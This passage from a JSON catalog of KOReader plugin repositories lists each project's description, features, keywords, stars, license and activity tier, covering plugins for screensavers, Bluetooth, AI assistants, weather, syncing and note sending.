HD)"],"keywords":["transparent","png","overlay","sleep","screen","screensaveroverlay","para","funciona","ejemplos","overlays","requisitos","instalaci","descarga","copia","carpeta","kobo","crea","genes","reinicia","uso","recomendadas","dispositivos","probados","problemas"],"topics":[],"stars":4,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-06-24T05:24:00Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":7443,"detail":"detail/aureliofng__screensaver-overlay.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"CarloDePieri/bluetooth.koplugin","owner":"CarloDePieri","repo":"bluetooth.koplugin","url":"https://github.com/CarloDePieri/bluetooth.koplugin","description":"A plugin to easily turn bluetooth on and off in KOReader for Kobo Devices. Basic console skills required.","purpose":"This plugin allows the user to turn Bluetooth on/off and connect my bluetooth controller (a cheap 'q36' controller from aliexpress) to be connected to my Kobo Sage.","categories":["device"],"features":["bluetooth on & off script have been modified to work with my Sage model","since my controller rotates mac address (and I use more than one anyway) I needed the address to not be hardcoded, and the…","the interface has been reworked to support the new scripts and to improve the user experience"],"keywords":["easily","turn","bluetooth","off","kobo","devices","basic","console","skills","required","page","turner","controller","repo","scripts","address","been","connect","could","modified","original","sage","work","script"],"topics":[],"stars":4,"forks":1,"is_fork":true,"archived":false,"pushed_at":"2025-04-03T17:59:52Z","license":null,"default_branch":"main","has_meta":false,"readme_bytes":1053,"detail":"detail/CarloDePieri__bluetooth.koplugin.json","activity":"dormant","tier":"C","tier_reasons":["no_meta","dormant","documented"]},{"id":"consoleaf/hello.koplugin","owner":"consoleaf","repo":"hello.koplugin","url":"https://github.com/consoleaf/hello.koplugin","description":"Hello World plugin for KOReader. Just displays a \"Hello World\" on startup","purpose":"","categories":["misc"],"features":[],"keywords":["hello","world","just","displays","startup"],"topics":[],"stars":4,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2025-07-20T20:35:33Z","license":null,"default_branch":"master","has_meta":true,"readme_bytes":0,"detail":null,"activity":"dormant","tier":"C","tier_reasons":["has_meta","dormant","stub"]},{"id":"cxzx150133/philosopher.koplugin","owner":"cxzx150133","repo":"philosopher.koplugin","url":"https://github.com/cxzx150133/philosopher.koplugin","description":"This is a plugin for the KOReader that implements a random display of text from the TXT file.","purpose":"This is a plug-in for the KOReader that implements a random display of text from the TXT file. The effect is similar to `hitokoto`(一言),Print a random display of philosophical sentences,But it's a mobile app and this plug-in is for KOReader.","categories":["files"],"features":[],"keywords":["koreader","lua","luajit","plugin","plugins","implements","random","display","text","txt","file","philosopher","formats","path","modify","plug-in"],"topics":["koreader","lua","luajit","plugin","plugins"],"stars":4,"forks":2,"is_fork":false,"archived":false,"pushed_at":"2018-05-05T06:44:29Z","license":"GPL-3.0","default_branch":"master","has_meta":false,"readme_bytes":775,"detail":"detail/cxzx150133__philosopher.koplugin.json","activity":"dormant","tier":"C","tier_reasons":["no_meta","dormant","documented"]},{"id":"cyanjnpr/copytoxochitl.koplugin","owner":"cyanjnpr","repo":"copytoxochitl.koplugin","url":"https://github.com/cyanjnpr/copytoxochitl.koplugin","description":"Copy highlighted text into reMarkable notebooks","purpose":"A KOReader plugin that enables highlighted fragments of documents to be copied over to native Xochitl notebooks.","categories":["device"],"features":["If the directory in which you placed the executable is not added to the PATH,"],"keywords":["koreader-plugin","remarkable-tablet","copy","highlighted","text","remarkable","notebooks","xochitl","karmtka","caveats","compatibility","notebook","settings","executable","only","path","after","available","binary","button","changes","default","device","devices"],"topics":["koreader-plugin","remarkable-tablet"],"stars":4,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2025-08-29T16:21:41Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":1695,"detail":"detail/cyanjnpr__copytoxochitl.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"DavidMakin/royalroad.koplugin","owner":"DavidMakin","repo":"royalroad.koplugin","url":"https://github.com/DavidMakin/royalroad.koplugin","description":"Royalroad plugin for koreader","purpose":"Download web fiction from Royal Road directly to your e-reader as EPUB files, ready to read offline. Search stories Your library Check for updates","categories":["misc"],"features":["Browse and search Royal Road without leaving your device","Automatic updates — check for new chapters and add them to your existing EPUB","Cover images, chapter titles, and author metadata included","Respects Royal Road's servers with built-in rate limiting","Open a story to read it","Check for new chapters","Re-download or delete a story","Filter and sort your library","No official API — relies on HTML scraping, which can break if Royal Road changes their site","Paywalled / advanced chapters cannot be downloaded"],"keywords":["koreader-plugin","royalroad","royal","road","downloader","does","searching","story","downloading","managing","downloads","updating","stories","configuration","limitations","development","download","chapters","search","tools","check","epub","updates","chapter"],"topics":["koreader-plugin"],"stars":4,"forks":2,"is_fork":false,"archived":false,"pushed_at":"2026-08-13T15:13:36Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":4455,"detail":"detail/DavidMakin__royalroad.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"DHaizon/tabbar.koplugin","owner":"DHaizon","repo":"tabbar.koplugin","url":"https://github.com/DHaizon/tabbar.koplugin","description":"A plugin for KOReader that adds a persistent tab bar to the reader, allowing you to keep multiple books open simultaneously and switch between them without losing your position in any of them.","purpose":"A plugin for KoReader that adds a persistent tab bar to the reader, allowing you to keep multiple books open simultaneously and switch between them without losing your position in any of them.","categories":["ui","files"],"features":["Multiple tabs — open up to 10 books at the same time, each remembering its own page and chapter position","Multi-book support — each tab can hold a different book. Switch books by tapping a tab; the previous book's position is saved…","Tab reordering — rearrange tabs in any order via a dedicated menu. The active tab follows its new position","Close tabs — close any tab from the tab menu. The last tab cannot be closed","Show/hide bar — toggle the tab bar on or off. The preference persists across documents and KoReader restarts","Rotation support — the tab bar and its touch zones adapt correctly to both portrait and landscape orientations","Open KoReader → Tools → App Store","Pick the Plugins tab. Use the filter dialog to narrow by name","Search TabBar or tabbar","Tap the entry DHaizon/tabbar.koplugin"],"keywords":["adds","persistent","tab","bar","allowing","keep","multiple","books","open","simultaneously","switch","between","them","without","losing","position","any","tabbar","files","option","appstore","recommended","filebrowserplus","required"],"topics":[],"stars":4,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-07-02T14:17:34Z","license":null,"default_branch":"main","has_meta":false,"readme_bytes":5596,"detail":"detail/DHaizon__tabbar.koplugin.json","activity":"active","tier":"C","tier_reasons":["no_meta","active","documented"]},{"id":"dourofficer/assistant.koplugin","owner":"dourofficer","repo":"assistant.koplugin","url":"https://github.com/dourofficer/assistant.koplugin","description":"","purpose":"A powerful plugin that lets you interact with AI language models (Claude, GPT-4, Gemini, DeepSeek, Ollama etc.) while reading. Ask questions about text, get translations, summaries, explanations and more - all without leaving your book.","categories":["dict","ai"],"features":["Multiple AI Providers: Support for","Claude, OpenAI, Gemini, DeepSeek, etc","OpenRouter, Ollama, etc","Other OpenAI-compatible API services (Groq, NVIDIA, etc.)","Stream Mode: Real-time responses from the API. Get the full LLM experience on e-ink devices","Multiple Providers/Models: Select different models or AI provider platforms in the UI","Built-in Prompts","Translation: Instantly translate highlighted text to any language","Quick Actions: One-click buttons for common tasks like summarizing or explaining","Dictionary: Get synonyms, context-aware dictionary explanations, and examples for the selected word. (thanks to plateaukao)"],"keywords":["assistant","helper","basic","requirements","getting","started","api","keys","configure","standard","dictionary","gestures","tips","contributors","text","prompts","menu","highlight","gesture","quick","thanks","configuration","translate","about"],"topics":[],"stars":4,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2025-12-10T07:31:05Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":7714,"detail":"detail/dourofficer__assistant.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"dwigunakd/classicscover.koplugin","owner":"dwigunakd","repo":"classicscover.koplugin","url":"https://github.com/dwigunakd/classicscover.koplugin","description":"generate book cover directly from koreader developed with the help of Codex","purpose":"This plugin sends the book title, author, and selected background image to a Python server (hosted on PythonAnywhere, free plan). The server generates the cover and sends it back to KOReader, where it is applied automatically.","categories":["ui"],"features":["Make sure your device is connected to the internet","Long-press the book you want to book cover changed","Tap “Classics Cover”","Choose a background image (make sure you already copied the image to /koreader/backgrounds)","Confirm or edit the book title and author","Tap Generate","Wait until you see the notification: _“Cover image applied”_","Done 🎉"],"keywords":["generate","book","cover","directly","developed","help","codex","classics","auto-generate","apply","covers","tested","kindle","paperwhite","2026","fan","fiction","missing","blurry","fix","them","classics-style","generator","works"],"topics":[],"stars":4,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-04-12T23:47:18Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":1312,"detail":"detail/dwigunakd__classicscover.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"federico1176-wq/Page_turn_animation.koplugin","owner":"federico1176-wq","repo":"Page_turn_animation.koplugin","url":"https://github.com/federico1176-wq/Page_turn_animation.koplugin","description":"","purpose":"This plugin is an AI-powered improvement of the patch by @Euphoriyy , adding the option to configure both the speed and the number of steps for the animations.","categories":["ui","reading"],"features":[],"keywords":["page","turn","animation","configuration","configure","tools"],"topics":[],"stars":4,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-07-15T16:33:37Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":301,"detail":"detail/federico1176-wq__Page_turn_animation.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"gustjose/sidekick.koplugin","owner":"gustjose","repo":"sidekick.koplugin","url":"https://github.com/gustjose/sidekick.koplugin","description":"Offline-first reading progress sync for KOReader using local sidecar files and Syncthing/Nextcloud.","purpose":"Sidekick is a decentralized, offline-first reading progress synchronization plugin for KOReader. Unlike the built-in KOReader sync (which relies on a central Progress Sync server), Sidekick saves your progress into a local JSON file right next to your book. This allows you to use general-purpose file synchronization…","categories":["sync","files","reading"],"features":["Serverless Sync: No need to host a KOReader sync server or create an account. If you can sync files, you can sync progress","Precision Positioning (XPath): Uses XPath (XPointer) instead of just page numbers. This ensures you land on the exact paragraph…","Smart Conflict Resolution","Uses a \"Vector Clock\" style revision system to determine the latest progress","Automatically resolves conflicts if two devices were used offline simultaneously (furthest read point wins)","Syncthing Integration: Can optionally trigger a Syncthing scan immediately after saving progress to ensure near-instant syncing…","Battery Aware: On E-ink devices (Kindle/Kobo), it respects Wi-Fi status to save battery. On Android, it works seamlessly with…","Connect your device to your computer","The final structure should look like: .../plugins/sidekick.koplugin/main.lua"],"keywords":["koreader","koreader-plugin","offline-first","sync","syncthing","reading","progress","local","sidecar","files","nextcloud","sidekick","key","setup","way","optional","instant","trigger","development","prerequisites","scripts","books","folder","file"],"topics":["koreader","koreader-plugin","offline-first","sync","syncthing"],"stars":4,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-06-08T23:21:32Z","license":"MIT","default_branch":"main","has_meta":false,"readme_bytes":5285,"detail":"detail/gustjose__sidekick.koplugin.json","activity":"active","tier":"C","tier_reasons":["no_meta","active","documented"]},{"id":"holyspiritomb/weather.koplugin","owner":"holyspiritomb","repo":"weather.koplugin","url":"https://github.com/holyspiritomb/weather.koplugin","description":"","purpose":"weather.koplugin is a weather forecast plugin for KOReader on eInk devices. Weather information is provided by WeatherAPI.","categories":["ui","files"],"features":["Forecast for current day","Forecast for next 2 days","Hourly forecast for current day","Temperatures in Celsius or Fahrenheit (working)","24- or 12-hour clock","Atmospheric pressure in millibars or inches","Wind speed in kph or mph","Visibility in km or miles","Precipitation amount in mm or inches","Kobo Libra H20 (original dev roygbyte's device)"],"keywords":["weather","about","customization","compatibility","drag","drop","ssh","scp","development","download","dependencies","clone","repository","create","soft","link","between","folder","write","code","check","run","emulator","deploy"],"topics":[],"stars":4,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-07-08T19:17:49Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":3439,"detail":"detail/holyspiritomb__weather.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"inkee08/webdav-autosync.koplugin","owner":"inkee08","repo":"webdav-autosync.koplugin","url":"https://github.com/inkee08/webdav-autosync.koplugin","description":"","purpose":"Sync files from a WebDAV server to your device. Optional credentials, configurable download folder, and either automatic sync on startup or manual sync on demand.","categories":["sync","files"],"features":["WebDAV connection – Server URL with optional username/password (Basic auth)","File extensions (optional) – Sync only files with given extensions (e.g. epub, pdf, txt). Leave empty to sync all formats…","Auto sync – When enabled, sync runs once when KOReader starts","Manual sync – Use Sync now from the menu to pull all files at any time","Open the main menu → WebDAV Sync","Set server URL – Your WebDAV base URL (e.g. https://example.com/webdav)","Set credentials (optional) – Username and password if the server requires auth","Choose download folder – Opens the file browser; navigate to a folder and long-press it to select it as the download location","Set file extensions (optional) – Comma- or space-separated list (e.g. epub, pdf, txt). Leave empty to sync all KOReader-supported…"],"keywords":["webdav","auto","sync","requirements","files","folder","download","server","optional","file","menu","auth","epub","extensions","https","main","manual","basic","credentials","downloads","empty","formats","leave","list"],"topics":[],"stars":4,"forks":2,"is_fork":false,"archived":false,"pushed_at":"2026-02-04T03:37:12Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":2377,"detail":"detail/inkee08__webdav-autosync.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"k-nacion/highlightsscreensaver.koplugin","owner":"k-nacion","repo":"highlightsscreensaver.koplugin","url":"https://github.com/k-nacion/highlightsscreensaver.koplugin","description":"A KOReader plugin to show a random highlight on your screensaver.","purpose":"Imagine picking up your Kindle or KOReader, and instead of a blank screen, you’re greeted with a quote that inspires, motivates, or heals. That’s the idea behind Highlights Screensaver—a plugin that turns your sleep screen into a little frame of wisdom.","categories":["sync","ui","files","reading","notes"],"features":["Trying to stay productive and avoid procrastination","Healing and need gentle reminders to reflect","Studying, working, or building a business","Simply enjoying the wisdom of your favorite books","Minimalist design—no clutter, just quotes","Randomized highlights or imported quotes—keeps inspiration fresh","Fully customizable—fonts, theme, orientation, and note display","Import your own quotes—healing quotes, productivity tips, or favorite book lines","Avoid duplicates—no repeat quotes cluttering your screensaver","All functional changes were previously submitted upstream as pull requests"],"keywords":["koreader-plugin","koreader-plugins","highlights","quotes","screensaver","show","random","highlight","community","fork","disclaimer","statement","example","images","setup","initial","configure","scannable","directories","scan","book","customize","appearance","behavior"],"topics":["koreader-plugin","koreader-plugins","highlights","quotes","screensaver"],"stars":4,"forks":0,"is_fork":true,"archived":false,"pushed_at":"2026-07-31T04:37:07Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":6406,"detail":"detail/k-nacion__highlightsscreensaver.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"kerivin/stylus-annotations.koplugin","owner":"kerivin","repo":"stylus-annotations.koplugin","url":"https://github.com/kerivin/stylus-annotations.koplugin","description":"Hand-drawn stylus annotations for PDF, EPUB, FB2, etc.","purpose":"Hand-drawn stylus annotations for PDF, EPUB, FB2, etc. Tested on Android; if you're lucky, it might also work on Linux-based readers. The plugin supports both paged documents (PDFs) and reflowable ones (EPUBs, FB2s), although they work differently, and in reflowable documents your strokes may shift position.","categories":["device","notes"],"features":["Use a plugin manager (AppStore, Storefront, etc.) and search for \"stylus-annotations\"","Or download the zip from the Releases page, unzip it, and put the entire stylus-annotations.koplugin folder into the…","Enable drawing: when on, the plugin captures pen strokes. When off, you can use the pen as usual, as if the plugin weren't…","Live refresh: off by default on e-ink devices, on by default elsewhere. Turn it on if your device is powerful enough to render…","Width and color: change these options for all new strokes, or modify existing ones","Selection and chain selection: tap a stroke with your finger, or long-press with your stylus, to open the stroke's options.…","Deleting strokes: remove all strokes on a page or in the whole document at once, so you don't have to delete them one by one"],"keywords":["koreader","koreader-plugin","koreader-plugins","hand-drawn","stylus","annotations","pdf","epub","fb2","etc","stylus-annotations","disclaimer","todo","strokes","options","stroke","android","chain","default","documents","drawing","finger","long-press","ones"],"topics":["koreader","koreader-plugin","koreader-plugins"],"stars":4,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-16T21:57:23Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":2199,"detail":"detail/kerivin__stylus-annotations.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"m-tky/koreader-skk","owner":"m-tky","repo":"koreader-skk","url":"https://github.com/m-tky/koreader-skk","description":"SKK Japanese input plugin for KOReader — supports physical keyboards and touch virtual keyboard","purpose":"A KOReader plugin that brings SKK (Simple Kana to Kanji) style Japanese input to every text field in KOReader. Romaji Kanji → reading かんじ → kanji candidate 漢字 , with the candidate bar offering homophones.","categories":["ui","dict","reading"],"features":["Romaji → hiragana → kanji conversion in SKK style","Bundled dictionary (SKK-JISYO.L converted to UTF-8, ~5.9 MB) — loaded instantly via SQLite","User dictionary: register new words, view usage history, delete entries, export","Add extra dictionaries from settings (EUC-JP files auto-converted with iconv)","Touch-friendly virtual keyboard with number row and Japanese punctuation","Candidate cycling with wrap-around; direct selection by number keys (1–9)","Hiragana / Katakana / ASCII mode switching","In-app update check (Menu → SKK → Check for updates)","Zero core KOReader file modifications — drop-in plugin","Start KOReader"],"keywords":["japanese-input","koreader","koreader-plugin","skk","japanese","input","physical","keyboards","touch","virtual","keyboard","sdl","emulator","key","bindings","layer","layout","converting","kanji","dictionaries","extra","dictionary","updating","romaji"],"topics":["japanese-input","koreader","koreader-plugin","skk"],"stars":4,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-03T07:04:54Z","license":"GPL-2.0","default_branch":"main","has_meta":true,"readme_bytes":6943,"detail":"detail/m-tky__koreader-skk.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"neodb-social/neodb.koplugin","owner":"neodb-social","repo":"neodb.koplugin","url":"https://github.com/neodb-social/neodb.koplugin","description":"📖 a KOReader plugin, sync mark / rating / progress / notes / highlights to NeoDB","purpose":"Link the book you are reading to its entry on a NeoDB server, then keep your status, progress, rating, notes and highlights up to date without leaving the book.","categories":["sync","reading","notes"],"features":["Scan a QR code is the easiest. Scan it, sign in on your phone, then tap","Enter a server address myself involves nobody but your server. Approve the","Read a token from a file avoids typing. Save the token as the first line of","Read Status: set to Want to read, Reading, Finished, Dropped","Update progress sends where you are now","Rate and comment, from half a star to five, with an optional comment","Add note, with your position attached if you want","Post something… writes a post with no book attached","Settings for this book holds that book's own switches","Most settings explain themselves if you long-press them"],"keywords":["book","koreader","koreader-plugin","neodb","e-reader","koreader-plugins","sync","mark","rating","progress","notes","highlights","signing","linking","once","linked","working","offline","things","know","reading","server","settings","token"],"topics":["book","koreader","koreader-plugin","neodb","e-reader","koreader-plugins"],"stars":4,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-16T19:39:57Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":4586,"detail":"detail/neodb-social__neodb.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"notmarek/stoka.koplugin","owner":"notmarek","repo":"stoka.koplugin","url":"https://github.com/notmarek/stoka.koplugin","description":"","purpose":"","categories":["misc"],"features":[],"keywords":[],"topics":[],"stars":4,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2023-11-29T01:02:39Z","license":null,"default_branch":"master","has_meta":true,"readme_bytes":0,"detail":null,"activity":"dormant","tier":"C","tier_reasons":["has_meta","dormant","stub"]},{"id":"omer-faruq/notificationlistener.koplugin","owner":"omer-faruq","repo":"notificationlistener.koplugin","url":"https://github.com/omer-faruq/notificationlistener.koplugin","description":"Receive notifications via HTTP and show them while reading on KOReader","purpose":"This plugin runs a small HTTP listener inside KOReader and lets you forward Android notifications (or any text) to KOReader over your local network (LAN). When a message arrives, KOReader shows it while reading and you can open the full message details.","categories":["web","files"],"features":["MacroDroid (recommended)","koreader/plugins/notificationlistener.koplugin/","Menu -> Settings -> Network -> Notification Listener","Enable","Enable listener","Show setup info","Restore Wi-Fi connection on resume: ON","Disable Wi-Fi connection when inactive: OFF","Trigger","For example: Notification Received"],"keywords":["koreader-plugin","receive","notifications","via","http","show","them","while","reading","notification","listener","recommended","android","app","setup","important","network","settings","macrodroid","example","endpoints","inbox","message","details"],"topics":["koreader-plugin"],"stars":4,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2025-12-24T08:19:08Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":2238,"detail":"detail/omer-faruq__notificationlistener.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"omer-faruq/send2telegram.koplugin","owner":"omer-faruq","repo":"send2telegram.koplugin","url":"https://github.com/omer-faruq/send2telegram.koplugin","description":"Send quick notes and highlights from KOReader directly to your Telegram bot","purpose":"Send quick notes and book highlights from KOReader directly to a Telegram bot of yours. The plugin adds two entry points:","categories":["sync","ui","files","notes"],"features":["a single Send note to Telegram item under the *Tools* menu, which","an optional Send to Telegram button inside the highlight popup, so","Open Telegram and search for the user @BotFather","Send the message /newbot","BotFather asks for a *name* (anything, e.g. \"My reading notes\") and","When the name is accepted, BotFather replies with a long string that","Open Telegram, search for the username you just chose","Open the chat and press Start (or send any message)","In Telegram search for @userinfobot and open the chat","Tap Start or send any message"],"keywords":["koreader-plugin","send","quick","notes","highlights","directly","telegram","bot","create","start","once","find","chat","configure","multiple","bots","parse","mode","free-form","note","book","excerpt","quick-switch","hide"],"topics":["koreader-plugin"],"stars":4,"forks":1,"is_fork":false,"archived":false,"pushed_at":"2026-06-03T19:23:32Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":8777,"detail":"detail/omer-faruq__send2telegram.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"omer-faruq/smartdeck.koplugin","owner":"omer-faruq","repo":"smartdeck.koplugin","url":"https://github.com/omer-faruq/smartdeck.koplugin","description":"AI-enriched flashcards for words and phrases collected while reading on KOReader.","purpose":"AI-powered flashcard plugin for KOReader. Select a word or phrase from the book (via the highlight menu) or from the dictionary popup, and SmartDeck will store the card into an SQLite database. When an internet connection is available, the plugin will use an AI provider to enrich every card with:","categories":["sync","ui","dict","ai"],"features":["Pronunciation / phonetics","Word type (part of speech)","Meaning in your preferred target language","Up to three example sentences","The surrounding context (X words around the selection) that was sent to the AI","OpenAI-compatible (openai handler): OpenAI, Groq, xAI Grok, DeepSeek,","Anthropic (anthropic handler): Claude models via the Messages API","Google Gemini (gemini handler): Gemini models via the native","Ollama (ollama handler): Ollama's native /api/chat endpoint for local","Study — open the spaced-repetition review screen"],"keywords":["koreader-plugin","ai-enriched","flashcards","words","phrases","collected","while","reading","smartdeck","configuration","providers","main","menu","highlight","dictionary","popup","credits","cards","openai","handler","buttons","gemini","ollama","provider"],"topics":["koreader-plugin"],"stars":4,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-07T04:58:45Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":3412,"detail":"detail/omer-faruq__smartdeck.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"RafaelMeirim/metafileextract.koplugin","owner":"RafaelMeirim","repo":"metafileextract.koplugin","url":"https://github.com/RafaelMeirim/metafileextract.koplugin","description":"KOReader plugin to automatically parse metadata from filenames and sync local .meta description files.","purpose":"A powerful plugin to automatically extract metadata from filenames, batch rename files, and sync synopses using external `.meta` files. Keep your library organized without needing external database software.","categories":["sync","library","files","notes"],"features":["Auto-Parsing: Automatically detects Title, Author, Series, and Volume Index from your file names","Batch Rename: Rename all files in a folder at once with customizable patterns","Sequential Numbering: Add automatic numbering (e.g., Title #1 - Author - Series #1) to your files","Metadata Sync: Uses simple .meta files for book or series descriptions","Clean Interface: Uses .meta files, which are automatically ignored by KOReader's file manager to prevent clutter","Connect your e-reader to your computer","Place the folder into koreader/plugins/","Press and hold a file in the File Manager","Tap \"Rename for MetaFileExtract\" from the context menu","Edit the metadata fields (Title, Authors, Keywords, Series, Series Number)"],"keywords":["koreader-plugin","automatically","parse","metadata","filenames","sync","local","meta","description","files","metafileextract","single","file","rename","batch","multiple","extract","descriptions","synopses","filename","pattern","examples","sorting","order"],"topics":["koreader-plugin"],"stars":4,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-06-20T18:19:42Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":4683,"detail":"detail/RafaelMeirim__metafileextract.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"right9code/imagesearch.koplugin","owner":"right9code","repo":"imagesearch.koplugin","url":"https://github.com/right9code/imagesearch.koplugin","description":"","purpose":"A powerful plugin for KOReader that allows you to search for images on the web or generate them using state-of-the-art AI, all directly from your e-reader.","categories":["ui","ai","reading"],"features":["🌍 Image Search: Search Wikipedia (Wikimedia Commons), Openverse, and DuckDuckGo","🤖 AI Generation: Generate custom images from prompts using Google Gemini or Pollinations.ai","🖼️ Smart Viewer: View results in a customizable grid (2x2, 3x3, etc.)","💾 Save & Download: Save any image directly to your device's storage","🔍 Selection Search: Select any text in a book to instantly search or generate an image for it","🚀 Performance: Optimized for E-Ink with local caching and page-based loading","Status: Requires API key now","Setup: Register on the website and generate api-keys","Status: High-quality, requires API Key","Get a free API key from Google AI Studio"],"keywords":["ai","image-search","koreader","koreader-plugin","image","search","generation","setup","requirements","provider","configuration","pollinations","default","google","gemini","nano","banana","guide","main","menu","selection","viewer","generate","images"],"topics":["ai","image-search","koreader","koreader-plugin"],"stars":4,"forks":2,"is_fork":false,"archived":false,"pushed_at":"2026-05-14T14:23:55Z","license":"NOASSERTION","default_branch":"master","has_meta":true,"readme_bytes":3062,"detail":"detail/right9code__imagesearch.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"shiggsy365/minesweeper.koplugin","owner":"shiggsy365","repo":"minesweeper.koplugin","url":"https://github.com/shiggsy365/minesweeper.koplugin","description":"Minesweeper plugin for koreader","purpose":"","categories":["games"],"features":[],"keywords":["minesweeper","contribute"],"topics":[],"stars":4,"forks":1,"is_fork":false,"archived":false,"pushed_at":"2026-01-08T12:05:59Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":158,"detail":"detail/shiggsy365__minesweeper.koplugin.json","activity":"active","tier":"C","tier_reasons":["has_meta","active","stub"]},{"id":"tachibana-shin/rakuyomi_bridge","owner":"tachibana-shin","repo":"rakuyomi_bridge","url":"https://github.com/tachibana-shin/rakuyomi_bridge","description":"Android companion app + Kotlin Multiplatform modules for the RakuYomi manga reader KOReader plugin.","purpose":"Android companion app + Kotlin Multiplatform modules for the RakuYomi manga reader KOReader plugin. Loads `librakuyomi_server.so` (Rust HTTP server from the rakuyomi monorepo) via JNI and runs it as an Android foreground service, exposing the server at `http://127.0.0.1:8787`. This enables the KOReader Lua plugin to…","categories":["content"],"features":["RakuYomiBridge -- Compose app (Android 5.0+)","RakuYomiBridge Headless -- Headless app (Android 4.3+)","Disable App Hibernation: Turn off \"Pause app activity if unused\"","Adjust Battery Settings: Change the Battery Saver profile to \"No restrictions\"","Compose app: rakuyomi_bridge://start / rakuyomi_bridge://stop","Headless app: rakuyomi_bride://start / rakuyomi_bride://stop"],"keywords":["android-application","koreader","koreader-plugin","koreader-plugins","kotlin","manga","android","companion","app","multiplatform","modules","rakuyomi","bridge","xiaomi","devices","miui","hyperos","architecture","build","deep","link","schemes","cli","linux"],"topics":["android-application","koreader","koreader-plugin","koreader-plugins","kotlin","manga"],"stars":4,"forks":1,"is_fork":false,"archived":false,"pushed_at":"2026-07-19T18:28:00Z","license":"AGPL-3.0","default_branch":"main","has_meta":false,"readme_bytes":3682,"detail":"detail/tachibana-shin__rakuyomi_bridge.json","activity":"active","tier":"C","tier_reasons":["no_meta","active","documented"]},{"id":"tachibana-shin/weather.koplugin","owner":"tachibana-shin","repo":"weather.koplugin","url":"https://github.com/tachibana-shin/weather.koplugin","description":"Weather plugin for KOReader and ZenUI with 6 data providers","purpose":"Full-screen weather widget for KOReader. Runs standalone as a KOReader plugin (open via menu or gesture). When Zen UI is installed, it additionally registers 8 home screen cards and a status line item.","categories":["misc"],"features":["Multi-provider: Open-Meteo, WeatherAPI.com, IQAir, Tomorrow.io, Weatherbit, Visual Crossing","Current conditions, hourly/daily forecasts, air quality, sun cycle, alerts","Zen UI home cards (8 widgets) + configurable status line","Persistent background auto-refresh (configurable interval)","Search locations + auto-detect via IP","Translations: vi, zh, ja"],"keywords":["koreader","koreader-plugin","koreader-plugins","weather","zenui","data","providers","build","source","home","status","cards","configurable","line","multi-provider","open-meteo","weatherapi","com","iqair","tomorrow","weatherbit","visual","crossing","current"],"topics":["koreader","koreader-plugin","koreader-plugins"],"stars":4,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-07-06T11:36:53Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":2106,"detail":"detail/tachibana-shin__weather.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"Tharavol/bluetooth.koplugin","owner":"Tharavol","repo":"bluetooth.koplugin","url":"https://github.com/Tharavol/bluetooth.koplugin","description":"A plugin to easily turn bluetooth on and off in KOReader for Kobo Devices. Basic console skills required.","purpose":"A KOReader plugin that brings up Bluetooth on a Kobo Sage and pairs the official Kobo Remote so its two buttons turn pages.","categories":["device"],"features":["Realtek RTL8821CS bring-up. The Sage's radio is a Realtek part attached","BLE input translation. The Kobo Remote is HID-over-GATT (BLE), not","Device name. connect.sh and repair.sh match Kobo Remote rather than","Toggle Bluetooth — runs on.sh, then automatically runs the full","RePair & Reconnect to Device (long!) — repair.sh. Full recovery: remove","Reconnect to Device — connect.sh. Reconnects to the existing bond, and","Refresh Device Input — reopens 